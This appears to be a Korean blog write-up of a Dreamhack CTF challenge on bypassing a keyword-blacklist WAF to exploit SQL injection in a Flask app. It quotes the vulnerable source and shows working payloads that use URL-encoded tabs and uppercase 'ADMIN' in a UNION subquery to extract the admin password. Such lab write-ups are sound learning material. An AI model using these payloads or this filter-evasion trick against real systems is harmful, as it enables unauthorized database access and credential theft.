본문 바로가기

드림핵

sql injection bypass WAF

문제에 별다른 조건이 없었다. 바로 서버를 생성해서 들어갔고 문제 파일도 다운 받았다.

 

서버를 들어가니 이와 같이 뜨는 것을 확인할 수 있었다.

 

 

 

 

문제파일 코드를 봤다.

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

uid를 check_WAF를 통해서 필터링을 한다.

keywords에 포함된 단어를 쓰면 WAF에 걸린다.

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']

 

 

 

keywords에 있는 union으로 uid를 쳐보니 WAF에 걸리는걸 알 수 있다.

 

 

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

SQL.init 파일이다. admin 비밀번호가 플래그값임을 알 수 있다. 

keywords에 admin이 있었기에 WAF를 우회해야 한다.

 

주석은 공백문자를 대신할 수 있는데 주석을 사용할 수 없도록 /, * 문자를 검사한다.

Tab은 16 진수로 0x09이고 URL 인코딩한 값인 %09를 전달하면 공백 문자 검사를 우회할 수 있다.

 

admin 문자열을 우회한 쿼리를 입력했다.

%27Union%09Select%091,"Bypass%09WAF",1%23

 

정상적으로 쿼리문이 실행되었다.

 

 

 

 

 

 

이제 서브쿼리를 포함시켜서 플래그값을 얻어야 한다.

 

 

  • UNION을 사용할 때는 반환되는 컬럼의 개수가 같아야 하며, 각 SELECT 문에서 반환되는 데이터 타입도 호환되어야 한다.
  • 이 때문에 서브쿼리를 포함시킬 때, 첫 번째 SELECT 문과 일치하는 컬럼 수를 유지하는 것이 중요하다.
  • UNION이 3개의 컬럼 (NULL, upw, NULL)을 반환하여 조건을 충족하게 쿼리를 짜야 한다.

 

 

%27Union%09Select%09null,(Select%09upw%09From%09user%09where%09uid='ADMIN'),null%23

음.......이걸로 쳤는데 계속 서버 에러가 떴다.

 

 

 

 

url 창에 떠 있는 uid에 집어넣으니 플래그값이 떴다. 

왜 이 전은 안 되고 url 창에 넣으면 되는거지..? 아직 이유를 모르겠다.

 

 

'드림핵' 카테고리의 다른 글

드림핵_DOM XSS  (0) 2024.11.13
weblog-1  (1) 2024.10.30
드림핵 error based sql injection  (1) 2024.10.02
드림핵 blind sql injection advanced  (2) 2024.10.02
easy-login  (0) 2024.05.22